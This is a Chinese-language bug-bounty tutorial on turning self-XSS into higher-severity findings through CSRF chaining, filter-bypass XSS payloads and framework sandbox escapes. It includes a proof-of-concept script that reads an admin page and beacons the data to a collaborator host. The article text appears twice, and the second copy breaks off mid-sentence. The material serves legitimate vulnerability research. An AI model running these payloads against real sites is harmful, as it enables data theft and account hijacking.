1. 项目概述从“鸡肋”到“宝藏”的自我攻击漏洞挖掘在安全测试和SRC安全应急响应中心漏洞挖掘的圈子里self-XSS自我跨站脚本攻击长期以来都被视为一种“鸡肋”漏洞。很多刚入门的白帽子或者测试人员在页面的输入框里敲入一段scriptalert(1)/script弹窗了兴奋地截图准备提交结果往往收到一句“此漏洞需要用户自行输入恶意代码属于Self-XSS风险较低不予收录”。这种挫败感我太熟悉了早期我也踩过不少这样的坑。但如果你就此认为self-XSS毫无价值那可能就错过了一座金矿。Self-XSS的核心特征是攻击载荷Payload的执行依赖于受害者自己将其输入到浏览器的某个位置如地址栏、开发者工具控制台、表单输入框等攻击者无法直接诱导或强迫用户完成这一操作。因此从传统攻击视角看它的可利用性确实很低。然而在SRC漏洞挖掘的实战中self-XSS的价值远不止一个弹窗。它更像是一个“探针”或“信号灯”其背后往往隐藏着更深层次的安全问题比如逻辑缺陷、权限绕过、存储型XSS的触发点甚至是整个应用架构中的信任边界问题。我的经验是一个看似孤立的self-XSS点通过巧妙的思路转换和组合利用完全有可能升级为高危的存储型XSS、账户劫持甚至更严重的业务逻辑漏洞。这个项目就是要带你深入挖掘self-XSS背后的“宝藏”掌握一套将“低危”转化为“高危”的实战方法论。2. Self-XSS漏洞的深度解析与价值重估2.1 漏洞本质为什么它被认为是“低危”要挖掘它的价值首先得理解它为什么被“低估”。Self-XSS的典型场景包括前端输入反射用户在搜索框、URL参数中输入脚本结果仅在该用户当前页面被反射执行数据不存储。客户端存储操作通过开发者工具修改localStorage、sessionStorage或Cookie触发基于这些值的XSS。浏览器控制台执行页面JavaScript代码中存在eval()、innerHTML赋值等危险函数且其参数部分可控但需要用户在控制台手动构造输入。这些场景的共同点是缺乏攻击的传播性。攻击者无法构造一个链接让用户点击后就中招反射型XSS也无法将恶意代码存入后端让所有访问者受害存储型XSS。从CVSS等风险评估模型来看其攻击复杂度Attack Complexity和用户交互User Interaction要求极高因此评级自然就低了。2.2 价值挖掘四个关键的升级思路然而在SRC挖掘中我们不能只看漏洞本身更要看漏洞所处的上下文环境。以下是四个将self-XSS“点石成金”的核心思路思路一寻找“触发器”与“放大器”Self-XSS本身不是武器而是武器的“扳机”。你需要寻找能扣动这个扳机的“手指”。例如结合CSRF跨站请求伪造如果存在一个self-XSS的输入点如用户昵称、个人简介虽然前端有过滤但后端存储时没过滤。攻击者能否构造一个CSRF请求诱骗已登录用户“自动”提交一段恶意脚本到该输入点这样self-XSS就转化为了存储型XSS。结合URL重定向或开放重定向如果一个页面存在self-XSS同时该页面有一个参数存在未经验证的重定向如?redirecthttps://evil.com。攻击者可以构造一个链接用户点击后先跳转到evil.comevil.com的页面再通过window.opener或postMessage等方式向原页面注入脚本并触发self-XSS。这利用了用户的两次点击一次点击链接一次在目标页面执行操作提升了可行性。思路二利用应用逻辑与信任边界许多应用对来自不同域或不同上下文的数据信任程度不同。同源策略绕过检查self-XSS发生的页面是否被嵌入到其他域的iframe中。如果父页面与子页面存在某种信任关系比如通过postMessage通信且消息验证不严可能通过父页面操控子页面触发XSS。内部API滥用Self-XSS点有时能调用一些内部JavaScript函数或API。通过深入分析这些API可能会发现一些未授权访问、信息泄露或逻辑缺陷的接口。例如通过self-XSS执行fetch(/api/admin/users)看看是否能返回数据。思路三客户端存储的持久化攻击Self-XSS常通过修改localStorage触发。这里的关键是修改后的localStorage是否会持久化影响用户后续会话污染全局配置如果应用将主题、语言、某些功能开关等配置存储在localStorage并通过这些配置动态生成页面内容。那么通过self-XSS修改这些配置可能在下一次页面加载时导致恶意代码被当作配置解析并执行从而实现“一次触发持久影响”。覆盖关键函数通过self-XSS重写localStorage.getItem或sessionStorage.setItem等方法可以窃取后续所有通过这些方法存取的数据如令牌、敏感信息等。思路四作为复杂攻击链的一环在高级持续威胁APT或鱼叉式钓鱼场景中self-XSS可以作为初始立足点。例如结合社会工程学制作一份“详细的使用教程”PDF或视频指导目标用户如公司内部员工在特定页面输入一段“调试代码”实为self-XSS payload。一旦用户照做攻击者就能在该用户上下文执行操作进而横向移动。实操心得提交self-XSS漏洞报告时切忌只提交一个弹窗截图。你的报告价值取决于你为其构想的“攻击故事”Attack Scenario。即使这个故事目前因为某些条件如需要已登录用户难以大规模利用但只要逻辑通顺能证明对部分用户如付费用户、管理员构成风险SRC平台和厂商的安全团队就不得不重视。我曾将一个需要管理员在浏览器控制台执行代码的self-XSS通过论证其可结合一个低危的信息泄露漏洞能诱使管理员查看特定页面形成攻击链最终被评级为中危。3. 实战挖掘流程从发现到利用验证3.1 目标侦察与敏感功能点定位挖掘self-XSS不能盲目测试。要有针对性地寻找“高价值”页面。用户可控输入点这是基础。包括所有表单输入框、URL参数?q、?id、Fragment标识#后的内容、window.name、document.referrer如果页面处理它等。数据输出点关注这些输入被输出到哪里。常见的有innerHTML、outerHTML赋值。document.write()、document.writeln()。eval()、setTimeout()、setInterval()的第一个参数是字符串时。location、location.href、location.assign()等涉及导航的函数。new Function()构造函数。.html()、.append()等jQuery方法如果传入的是字符串。高权限功能页面重点扫描后台管理界面、订单处理页面、财务操作页面、用户配置中心特别是能修改头像、昵称、签名的功能。这些地方的self-XSS一旦能结合其他漏洞利用危害极大。单页面应用SPA现代Vue.js、React、Angular应用大量使用客户端渲染和路由。要特别注意路由参数如/user/:idid参数是否被直接用于DOM操作全局状态管理Vuex或Redux中的状态是否来自用户输入且未安全渲染动态组件加载检查是否有可能通过参数控制加载的组件名或模板。3.2 Payload构造与绕过技巧当发现一个疑似点后就需要构造payload进行验证。不要只用scriptalert(1)/script。基础验证Payload// 确认执行环境比alert(1)信息量更大 scriptconsole.log(XSS ${document.domain} from ${window.location.pathname}); alert(document.domain)/script // 使用反引号模板字符串有时可以绕过对单双引号的过滤如果直接插入script标签被过滤尝试事件处理器或无需闭合的标签img srcx onerroralert(document.domain) svg onloadalert(document.domain) body onloadalert(1) input autofocus onfocusalert(1)input autofocus !-- 第二个input用于触发第一个的onfocus --常见过滤绕过手法大小写混淆ScRiPtalert(1)/sCrIpT。标签属性分割利用换行符、制表符img srcx\nonerroralert(1)。HTML实体编码有时输出层会解码。尝试img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;alert(1)的十进制实体。JavaScript伪协议在可控制href、src、action等属性时尝试javascript:alert(document.domain)。注意现代浏览器对javascript:协议在a href中可能有更多限制但在其他场景如iframe.src可能仍有效。利用CSS极少见但可尝试。div stylebackground-image: url(javascript:alert(1))或更复杂的expression()仅限旧IE。模板字符串与Unicodealert1反引号调用。使用Unicode转义\u0061lert(1)\u0061是‘a’。利用解析差异这是高级技巧。例如在textarea中闭合标签再打开/textareascriptalert(1)/script。或者利用SVG/数学ML的命名空间可能带来不同的解析规则。针对框架的PayloadVue.js检查是否使用v-html指令渲染用户输入。尝试{{constructor.constructor(alert(1))()}}在Vue2模板中可能执行。注意Vue3的沙盒更严格。React默认会对{}中的内容进行转义但dangerouslySetInnerHTML是危险点。另外检查href属性是否未验证a href{userInput}可尝试javascript:协议。AngularJS (1.x)经典沙盒逃逸Payload很多如{{$eval.constructor(alert(1))()}}。但新版本Angular已无此问题。注意事项在SRC平台测试时绝对不要使用真实攻击性的Payload如document.cookie、fetch到自己的服务器等。这很可能违反测试规则导致账号被封甚至法律风险。始终使用alert(document.domain)、console.log或平台提供的协作证明域名如*.burpcollaborator.net、xss.report等来证明漏洞存在。我曾见过有人用document.cookie做测试结果被厂商认定为恶意攻击所有漏洞不予接收并拉黑。3.3 漏洞验证与影响证明弹窗只是开始证明其潜在影响才是关键。确认执行上下文alert(document.domain)确认脚本在哪个域下执行。如果是主域危害更大。alert(window.origin)类似确认来源。console.log(document.cookie)仅用于概念验证切勿在真实测试中窃取Cookie查看是否能访问到Cookie。注意HttpOnly Cookie无法通过JavaScript读取。证明潜在危害PoC构造 这是将self-XSS“升级”的关键步骤。你需要构思一个合理的场景。场景一结合CSRF升级为存储型XSS假设在用户个人资料页的“个人签名”处存在self-XSS前端过滤后端存储。你需要 a. 找到一个存在CSRF漏洞的更新个人资料的API端点通常缺少Anti-CSRF Token或Token可预测。 b. 编写一个HTML页面包含一个自动提交的表单将恶意脚本作为签名内容提交。 c. 论证“攻击者可以诱骗已登录用户访问该恶意页面从而自动修改其签名使所有查看其资料的用户受害”。 在报告中提供CSRF的PoC代码和self-XSS的触发截图。场景二盗取敏感页面内容如果self-XSS发生在某个需要权限才能访问的页面如后台视图。 a. 构造一个Payload通过fetch()或XMLHttpRequest读取该页面其他部分的内容如用户列表、配置信息。 b. 将读取到的数据通过Image对象发送到你的漏洞证明服务器Burp Collaborator或类似服务。// 假设Payload script fetch(/admin/userList) .then(r r.text()) .then(d { new Image().src https://your-collaborator-domain.burpcollaborator.net/?data encodeURIComponent(d.substring(0, 1000)); // 限制长度 }); /scriptc. 在报告中展示Collaborator接收到数据的截图证明可以窃取敏感信息。场景三模拟用户操作证明脚本可以执行任意操作如“关注某个用户”、“转账”、“发布内容”。script // 模拟点击关注按钮 document.querySelector(button.follow-btn).click(); // 或发起一个POST请求 fetch(/api/follow, {method: POST, body: userIdattackerId, headers: {Content-Type: application/x-www-form-urlencoded}}); /script在报告中你需要说明执行这段代码后在用户账户中会发生什么例如自动关注了攻击者的账号。4. 高级技巧与案例深度剖析4.1 基于DOM的Self-XSS挖掘DOM型XSS是self-XSS的富矿因为它完全在客户端发生服务器端可能毫无感知。挖掘关键在于分析前端JavaScript代码。步骤源代码审计打开开发者工具F12在Sources面板仔细阅读与当前页面相关的JS文件。搜索危险函数innerHTML、outerHTML、document.write、eval、setTimeout(string)、setInterval(string)、Function()、location.href赋值、jQuery.html()/.append()等。动态分析在Console面板尝试追踪用户输入的数据流。例如在输入框输入一个唯一标识符如test123然后在所有网络请求、DOM元素、JS变量中搜索这个字符串看它流向了哪里是否未经处理就进入了危险函数。污染源与汇聚点源Source用户可控的输入点如location.search、location.hash、document.referrer、window.name、localStorage、sessionStorage、postMessage数据。汇聚点Sink能导致代码执行的函数或属性如上文提到的危险函数。利用案例假设发现如下代码片段// 从URL的hash中获取消息并显示 let message decodeURIComponent(window.location.hash.substring(1)); document.getElementById(status).innerHTML div消息${message}/div;这显然是一个DOM XSS。Payload为#img srcx onerroralert(1)。用户需要手动修改URL的hash部分并回车触发属于典型的self-XSS。但你可以进一步研究这个status元素是否会被其他页面引用应用是否有分享带hash的URL的功能如果能找到一种方式让用户访问一个预设了恶意hash的链接它就变成了反射型DOM XSS。4.2 利用浏览器特性与解析差异浏览器对HTML、JavaScript的解析并非完全一致某些“怪异模式”Quirks Mode或特定标签的组合可能产生意想不到的解析结果从而绕过过滤。Mutation XSS (mXSS)这是一种高级技巧。某些过滤库如DOMPurify在清理HTML字符串时是安全的但当清理后的字符串被浏览器插入DOM时浏览器的解析器可能会“突变”mutateHTML结构导致原本被清理的脚本再次变得可执行。这通常涉及noscript、title、textarea等标签的嵌套和闭合问题。挖掘这类漏洞需要对HTML解析规范有深入理解通常通过阅读安全研究论文和已有案例来学习模式。字符集编码问题如果页面指定了错误的字符集如将UTF-7误判为UTF-8攻击者可以提交UTF-7编码的Payload如ADw-scriptAD4-alert(1)ADw-/scriptAD4-在某些条件下可能被解码执行。虽然现代浏览器已很少见但在一些老旧系统或特殊配置中仍值得一试。JavaScript伪协议变形javascript:前面可以插入换行符、制表符或注释java%0ascript:alert(1)、javascript://%0Aalert(1)。在有些简单的正则过滤中可能绕过。4.3 工具链辅助与自动化探测手动测试效率低需要借助工具。浏览器开发者工具这是最核心的工具。除了Console和SourcesElements面板可以实时查看和编辑DOM观察Payload的插入情况。Network面板可以查看所有请求分析数据流向。Debugger可以设置断点跟踪数据在JS中的处理过程。Burp Suite / OWASP ZAP配置好代理拦截所有请求和响应。主动扫描虽然对DOM XSS效果有限但可以帮你发现传统的反射/存储型XSS点这些点有时其self-XSS变种。Repeater/Intruder用于手动构造和重放Payload测试过滤规则。可以用Intruder的“狙击手”模式用Payload列表对某个参数进行模糊测试。Collaborator用于证明Blind XSS或数据外泄。在Payload中引入Collaborator域名如scriptfetch(http://xxx.burpcollaborator.net)/script等待回调。自动化扫描工具Dalfox一个用Go写的快速XSS扫描器特别擅长参数分析和Payload生成对GET/POST参数、Header、JSON等支持良好。XSStrike基于Python具有强大的模糊测试引擎和上下文分析能力能智能生成绕过Payload。KNOXSS一个商业但提供免费API的在线XSS扫描器有时能发现一些意想不到的漏洞。DOM-based XSS Scanner如domdig它使用无头浏览器Headless Chrome实际执行页面JS能更准确地检测DOM XSS。自定义脚本对于复杂的单页面应用可能需要编写自定义的爬虫和测试脚本。使用Puppeteer或Playwright这类浏览器自动化工具模拟用户操作遍历应用状态并在每个状态注入测试Payload检查是否有弹窗或异常行为。避坑指南自动化工具不是万能的尤其是对于高度依赖JavaScript交互的现代Web应用。它们可能会漏报很多漏洞也可能会产生大量误报。我的工作流通常是先用爬虫如hakrawler、gau收集目标的所有URL和参数 - 用Dalfox或XSStrike进行初步批量扫描 - 对工具报告的可能漏洞点进行彻底的手动验证和深入挖掘。手动验证这一步至关重要它能帮你理解漏洞的根源并构思更有说服力的利用场景。5. 报告撰写与漏洞提交的艺术一份优秀的漏洞报告是获得认可和奖励的关键。对于self-XSS这类“边缘”漏洞报告质量直接决定其命运。5.1 报告结构模板漏洞标题清晰明了。例如“[目标域名] - 个人资料页签名处存在Self-XSS可结合CSRF升级为存储型XSS”。漏洞等级根据你的“攻击故事”合理评估。如果只能自己触发建议“低危”如果能结合CSRF影响其他用户可提“中危”如果能直接窃取管理员Cookie或执行高权限操作可提“高危”。在描述中详细说明评级理由。漏洞详情目标URL提供完整的漏洞页面URL。复现步骤一步一步像教程一样详细。从如何登录提供测试账号到在哪里输入输入什么看到什么结果。务必截图截图应包括输入Payload的界面、执行后的效果如弹窗、网络请求发送到Collaborator。请求与响应如果是通过网络请求触发的提供Burp抓取的原始HTTP请求和响应包可适当脱敏。Payload给出你使用的确切Payload。漏洞原理分析简要说明漏洞产生的原因。是输出未转义是使用了危险的innerHTML还是过滤规则存在缺陷潜在影响这是核心。详细阐述这个漏洞在什么条件下可能被利用会造成什么后果。参考前文的“攻击故事”。场景A结合CSRF导致所有用户...场景B诱骗管理员操作导致...场景C窃取本地存储的敏感令牌导致...修复建议给出具体、可操作的修复方案。输出编码根据输出上下文HTML属性、HTML正文、JavaScript、CSS、URL使用正确的编码函数。避免危险函数用textContent代替innerHTML用JSON.parse代替eval。实施内容安全策略CSP即使存在XSS严格的CSP也能极大缓解危害。输入验证与过滤在客户端和服务端同时进行但应以服务端为准。使用白名单机制。使用安全框架如React、Vue不使用v-html、Angular等它们提供了默认的编码保护。附加信息可附上相关参考资料、类似漏洞的公开报告链接以佐证你的观点。5.2 与SRC平台或厂商沟通的技巧态度专业使用礼貌、清晰的技术语言。避免使用挑衅或嘲讽的语气。证据充分一个GIF动图有时比十张静态截图和千言万语更有说服力。用屏幕录制工具展示完整的复现过程。耐心跟进如果报告被判定为“低危”或“不予收录”不要气馁。仔细阅读回复看他们质疑的点是什么。是你的攻击场景不够合理还是他们觉得触发条件太苛刻根据反馈补充更详细的论证或新的利用思路进行有理有据的申诉。理解规则每个SRC都有自己的规则和范围。仔细阅读确保你的测试行为在允许范围内。不要对生产数据进行破坏性操作。挖掘self-XSS并将其转化为有价值的SRC漏洞考验的不仅是技术更是耐心、想象力和沟通能力。它要求你像攻击者一样思考像防御者一样分析最后像布道者一样清晰地陈述。这个过程本身就是安全研究员能力的一次绝佳锤炼。当你成功将一个被众人忽视的“self-XSS”点通过严密的逻辑链条升级为一个中高危漏洞并获得认可时那种成就感远非一个简单的反射型XSS可比。这条路需要持续学习、不断尝试和积累经验但回报也同样丰厚。
从Self-XSS到高危漏洞：挖掘与升级实战指南
1. 项目概述从“鸡肋”到“宝藏”的自我攻击漏洞挖掘在安全测试和SRC安全应急响应中心漏洞挖掘的圈子里self-XSS自我跨站脚本攻击长期以来都被视为一种“鸡肋”漏洞。很多刚入门的白帽子或者测试人员在页面的输入框里敲入一段scriptalert(1)/script弹窗了兴奋地截图准备提交结果往往收到一句“此漏洞需要用户自行输入恶意代码属于Self-XSS风险较低不予收录”。这种挫败感我太熟悉了早期我也踩过不少这样的坑。但如果你就此认为self-XSS毫无价值那可能就错过了一座金矿。Self-XSS的核心特征是攻击载荷Payload的执行依赖于受害者自己将其输入到浏览器的某个位置如地址栏、开发者工具控制台、表单输入框等攻击者无法直接诱导或强迫用户完成这一操作。因此从传统攻击视角看它的可利用性确实很低。然而在SRC漏洞挖掘的实战中self-XSS的价值远不止一个弹窗。它更像是一个“探针”或“信号灯”其背后往往隐藏着更深层次的安全问题比如逻辑缺陷、权限绕过、存储型XSS的触发点甚至是整个应用架构中的信任边界问题。我的经验是一个看似孤立的self-XSS点通过巧妙的思路转换和组合利用完全有可能升级为高危的存储型XSS、账户劫持甚至更严重的业务逻辑漏洞。这个项目就是要带你深入挖掘self-XSS背后的“宝藏”掌握一套将“低危”转化为“高危”的实战方法论。2. Self-XSS漏洞的深度解析与价值重估2.1 漏洞本质为什么它被认为是“低危”要挖掘它的价值首先得理解它为什么被“低估”。Self-XSS的典型场景包括前端输入反射用户在搜索框、URL参数中输入脚本结果仅在该用户当前页面被反射执行数据不存储。客户端存储操作通过开发者工具修改localStorage、sessionStorage或Cookie触发基于这些值的XSS。浏览器控制台执行页面JavaScript代码中存在eval()、innerHTML赋值等危险函数且其参数部分可控但需要用户在控制台手动构造输入。这些场景的共同点是缺乏攻击的传播性。攻击者无法构造一个链接让用户点击后就中招反射型XSS也无法将恶意代码存入后端让所有访问者受害存储型XSS。从CVSS等风险评估模型来看其攻击复杂度Attack Complexity和用户交互User Interaction要求极高因此评级自然就低了。2.2 价值挖掘四个关键的升级思路然而在SRC挖掘中我们不能只看漏洞本身更要看漏洞所处的上下文环境。以下是四个将self-XSS“点石成金”的核心思路思路一寻找“触发器”与“放大器”Self-XSS本身不是武器而是武器的“扳机”。你需要寻找能扣动这个扳机的“手指”。例如结合CSRF跨站请求伪造如果存在一个self-XSS的输入点如用户昵称、个人简介虽然前端有过滤但后端存储时没过滤。攻击者能否构造一个CSRF请求诱骗已登录用户“自动”提交一段恶意脚本到该输入点这样self-XSS就转化为了存储型XSS。结合URL重定向或开放重定向如果一个页面存在self-XSS同时该页面有一个参数存在未经验证的重定向如?redirecthttps://evil.com。攻击者可以构造一个链接用户点击后先跳转到evil.comevil.com的页面再通过window.opener或postMessage等方式向原页面注入脚本并触发self-XSS。这利用了用户的两次点击一次点击链接一次在目标页面执行操作提升了可行性。思路二利用应用逻辑与信任边界许多应用对来自不同域或不同上下文的数据信任程度不同。同源策略绕过检查self-XSS发生的页面是否被嵌入到其他域的iframe中。如果父页面与子页面存在某种信任关系比如通过postMessage通信且消息验证不严可能通过父页面操控子页面触发XSS。内部API滥用Self-XSS点有时能调用一些内部JavaScript函数或API。通过深入分析这些API可能会发现一些未授权访问、信息泄露或逻辑缺陷的接口。例如通过self-XSS执行fetch(/api/admin/users)看看是否能返回数据。思路三客户端存储的持久化攻击Self-XSS常通过修改localStorage触发。这里的关键是修改后的localStorage是否会持久化影响用户后续会话污染全局配置如果应用将主题、语言、某些功能开关等配置存储在localStorage并通过这些配置动态生成页面内容。那么通过self-XSS修改这些配置可能在下一次页面加载时导致恶意代码被当作配置解析并执行从而实现“一次触发持久影响”。覆盖关键函数通过self-XSS重写localStorage.getItem或sessionStorage.setItem等方法可以窃取后续所有通过这些方法存取的数据如令牌、敏感信息等。思路四作为复杂攻击链的一环在高级持续威胁APT或鱼叉式钓鱼场景中self-XSS可以作为初始立足点。例如结合社会工程学制作一份“详细的使用教程”PDF或视频指导目标用户如公司内部员工在特定页面输入一段“调试代码”实为self-XSS payload。一旦用户照做攻击者就能在该用户上下文执行操作进而横向移动。实操心得提交self-XSS漏洞报告时切忌只提交一个弹窗截图。你的报告价值取决于你为其构想的“攻击故事”Attack Scenario。即使这个故事目前因为某些条件如需要已登录用户难以大规模利用但只要逻辑通顺能证明对部分用户如付费用户、管理员构成风险SRC平台和厂商的安全团队就不得不重视。我曾将一个需要管理员在浏览器控制台执行代码的self-XSS通过论证其可结合一个低危的信息泄露漏洞能诱使管理员查看特定页面形成攻击链最终被评级为中危。3. 实战挖掘流程从发现到利用验证3.1 目标侦察与敏感功能点定位挖掘self-XSS不能盲目测试。要有针对性地寻找“高价值”页面。用户可控输入点这是基础。包括所有表单输入框、URL参数?q、?id、Fragment标识#后的内容、window.name、document.referrer如果页面处理它等。数据输出点关注这些输入被输出到哪里。常见的有innerHTML、outerHTML赋值。document.write()、document.writeln()。eval()、setTimeout()、setInterval()的第一个参数是字符串时。location、location.href、location.assign()等涉及导航的函数。new Function()构造函数。.html()、.append()等jQuery方法如果传入的是字符串。高权限功能页面重点扫描后台管理界面、订单处理页面、财务操作页面、用户配置中心特别是能修改头像、昵称、签名的功能。这些地方的self-XSS一旦能结合其他漏洞利用危害极大。单页面应用SPA现代Vue.js、React、Angular应用大量使用客户端渲染和路由。要特别注意路由参数如/user/:idid参数是否被直接用于DOM操作全局状态管理Vuex或Redux中的状态是否来自用户输入且未安全渲染动态组件加载检查是否有可能通过参数控制加载的组件名或模板。3.2 Payload构造与绕过技巧当发现一个疑似点后就需要构造payload进行验证。不要只用scriptalert(1)/script。基础验证Payload// 确认执行环境比alert(1)信息量更大 scriptconsole.log(XSS ${document.domain} from ${window.location.pathname}); alert(document.domain)/script // 使用反引号模板字符串有时可以绕过对单双引号的过滤如果直接插入script标签被过滤尝试事件处理器或无需闭合的标签img srcx onerroralert(document.domain) svg onloadalert(document.domain) body onloadalert(1) input autofocus onfocusalert(1)input autofocus !-- 第二个input用于触发第一个的onfocus --常见过滤绕过手法大小写混淆ScRiPtalert(1)/sCrIpT。标签属性分割利用换行符、制表符img srcx\nonerroralert(1)。HTML实体编码有时输出层会解码。尝试img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;alert(1)的十进制实体。JavaScript伪协议在可控制href、src、action等属性时尝试javascript:alert(document.domain)。注意现代浏览器对javascript:协议在a href中可能有更多限制但在其他场景如iframe.src可能仍有效。利用CSS极少见但可尝试。div stylebackground-image: url(javascript:alert(1))或更复杂的expression()仅限旧IE。模板字符串与Unicodealert1反引号调用。使用Unicode转义\u0061lert(1)\u0061是‘a’。利用解析差异这是高级技巧。例如在textarea中闭合标签再打开/textareascriptalert(1)/script。或者利用SVG/数学ML的命名空间可能带来不同的解析规则。针对框架的PayloadVue.js检查是否使用v-html指令渲染用户输入。尝试{{constructor.constructor(alert(1))()}}在Vue2模板中可能执行。注意Vue3的沙盒更严格。React默认会对{}中的内容进行转义但dangerouslySetInnerHTML是危险点。另外检查href属性是否未验证a href{userInput}可尝试javascript:协议。AngularJS (1.x)经典沙盒逃逸Payload很多如{{$eval.constructor(alert(1))()}}。但新版本Angular已无此问题。注意事项在SRC平台测试时绝对不要使用真实攻击性的Payload如document.cookie、fetch到自己的服务器等。这很可能违反测试规则导致账号被封甚至法律风险。始终使用alert(document.domain)、console.log或平台提供的协作证明域名如*.burpcollaborator.net、xss.report等来证明漏洞存在。我曾见过有人用document.cookie做测试结果被厂商认定为恶意攻击所有漏洞不予接收并拉黑。3.3 漏洞验证与影响证明弹窗只是开始证明其潜在影响才是关键。确认执行上下文alert(document.domain)确认脚本在哪个域下执行。如果是主域危害更大。alert(window.origin)类似确认来源。console.log(document.cookie)仅用于概念验证切勿在真实测试中窃取Cookie查看是否能访问到Cookie。注意HttpOnly Cookie无法通过JavaScript读取。证明潜在危害PoC构造 这是将self-XSS“升级”的关键步骤。你需要构思一个合理的场景。场景一结合CSRF升级为存储型XSS假设在用户个人资料页的“个人签名”处存在self-XSS前端过滤后端存储。你需要 a. 找到一个存在CSRF漏洞的更新个人资料的API端点通常缺少Anti-CSRF Token或Token可预测。 b. 编写一个HTML页面包含一个自动提交的表单将恶意脚本作为签名内容提交。 c. 论证“攻击者可以诱骗已登录用户访问该恶意页面从而自动修改其签名使所有查看其资料的用户受害”。 在报告中提供CSRF的PoC代码和self-XSS的触发截图。场景二盗取敏感页面内容如果self-XSS发生在某个需要权限才能访问的页面如后台视图。 a. 构造一个Payload通过fetch()或XMLHttpRequest读取该页面其他部分的内容如用户列表、配置信息。 b. 将读取到的数据通过Image对象发送到你的漏洞证明服务器Burp Collaborator或类似服务。// 假设Payload script fetch(/admin/userList) .then(r r.text()) .then(d { new Image().src https://your-collaborator-domain.burpcollaborator.net/?data encodeURIComponent(d.substring(0, 1000)); // 限制长度 }); /scriptc. 在报告中展示Collaborator接收到数据的截图证明可以窃取敏感信息。场景三模拟用户操作证明脚本可以执行任意操作如“关注某个用户”、“转账”、“发布内容”。script // 模拟点击关注按钮 document.querySelector(button.follow-btn).click(); // 或发起一个POST请求 fetch(/api/follow, {method: POST, body: userIdattackerId, headers: {Content-Type: application/x-www-form-urlencoded}}); /script在报告中你需要说明执行这段代码后在用户账户中会发生什么例如自动关注了攻击者的账号。4. 高级技巧与案例深度剖析4.1 基于DOM的Self-XSS挖掘DOM型XSS是self-XSS的富矿因为它完全在客户端发生服务器端可能毫无感知。挖掘关键在于分析前端JavaScript代码。步骤源代码审计打开开发者工具F12在Sources面板仔细阅读与当前页面相关的JS文件。搜索危险函数innerHTML、outerHTML、document.write、eval、setTimeout(string)、setInterval(string)、Function()、location.href赋值、jQuery.html()/.append()等。动态分析在Console面板尝试追踪用户输入的数据流。例如在输入框输入一个唯一标识符如test123然后在所有网络请求、DOM元素、JS变量中搜索这个字符串看它流向了哪里是否未经处理就进入了危险函数。污染源与汇聚点源Source用户可控的输入点如location.search、location.hash、document.referrer、window.name、localStorage、sessionStorage、postMessage数据。汇聚点Sink能导致代码执行的函数或属性如上文提到的危险函数。利用案例假设发现如下代码片段// 从URL的hash中获取消息并显示 let message decodeURIComponent(window.location.hash.substring(1)); document.getElementById(status).innerHTML div消息${message}/div;这显然是一个DOM XSS。Payload为#img srcx onerroralert(1)。用户需要手动修改URL的hash部分并回车触发属于典型的self-XSS。但你可以进一步研究这个status元素是否会被其他页面引用应用是否有分享带hash的URL的功能如果能找到一种方式让用户访问一个预设了恶意hash的链接它就变成了反射型DOM XSS。4.2 利用浏览器特性与解析差异浏览器对HTML、JavaScript的解析并非完全一致某些“怪异模式”Quirks Mode或特定标签的组合可能产生意想不到的解析结果从而绕过过滤。Mutation XSS (mXSS)这是一种高级技巧。某些过滤库如DOMPurify在清理HTML字符串时是安全的但当清理后的字符串被浏览器插入DOM时浏览器的解析器可能会“突变”mutateHTML结构导致原本被清理的脚本再次变得可执行。这通常涉及noscript、title、textarea等标签的嵌套和闭合问题。挖掘这类漏洞需要对HTML解析规范有深入理解通常通过阅读安全研究论文和已有案例来学习模式。字符集编码问题如果页面指定了错误的字符集如将UTF-7误判为UTF-8攻击者可以提交UTF-7编码的Payload如ADw-scriptAD4-alert(1)ADw-/scriptAD4-在某些条件下可能被解码执行。虽然现代浏览器已很少见但在一些老旧系统或特殊配置中仍值得一试。JavaScript伪协议变形javascript:前面可以插入换行符、制表符或注释java%0ascript:alert(1)、javascript://%0Aalert(1)。在有些简单的正则过滤中可能绕过。4.3 工具链辅助与自动化探测手动测试效率低需要借助工具。浏览器开发者工具这是最核心的工具。除了Console和SourcesElements面板可以实时查看和编辑DOM观察Payload的插入情况。Network面板可以查看所有请求分析数据流向。Debugger可以设置断点跟踪数据在JS中的处理过程。Burp Suite / OWASP ZAP配置好代理拦截所有请求和响应。主动扫描虽然对DOM XSS效果有限但可以帮你发现传统的反射/存储型XSS点这些点有时其self-XSS变种。Repeater/Intruder用于手动构造和重放Payload测试过滤规则。可以用Intruder的“狙击手”模式用Payload列表对某个参数进行模糊测试。Collaborator用于证明Blind XSS或数据外泄。在Payload中引入Collaborator域名如scriptfetch(http://xxx.burpcollaborator.net)/script等待回调。自动化扫描工具Dalfox一个用Go写的快速XSS扫描器特别擅长参数分析和Payload生成对GET/POST参数、Header、JSON等支持良好。XSStrike基于Python具有强大的模糊测试引擎和上下文分析能力能智能生成绕过Payload。KNOXSS一个商业但提供免费API的在线XSS扫描器有时能发现一些意想不到的漏洞。DOM-based XSS Scanner如domdig它使用无头浏览器Headless Chrome实际执行页面JS能更准确地检测DOM XSS。自定义脚本对于复杂的单页面应用可能需要编写自定义的爬虫和测试脚本。使用Puppeteer或Playwright这类浏览器自动化工具模拟用户操作遍历应用状态并在每个状态注入测试Payload检查是否有弹窗或异常行为。避坑指南自动化工具不是万能的尤其是对于高度依赖JavaScript交互的现代Web应用。它们可能会漏报很多漏洞也可能会产生大量误报。我的工作流通常是先用爬虫如hakrawler、gau收集目标的所有URL和参数 - 用Dalfox或XSStrike进行初步批量扫描 - 对工具报告的可能漏洞点进行彻底的手动验证和深入挖掘。手动验证这一步至关重要它能帮你理解漏洞的根源并构思更有说服力的利用场景。5. 报告撰写与漏洞提交的艺术一份优秀的漏洞报告是获得认可和奖励的关键。对于self-XSS这类“边缘”漏洞报告质量直接决定其命运。5.1 报告结构模板漏洞标题清晰明了。例如“[目标域名] - 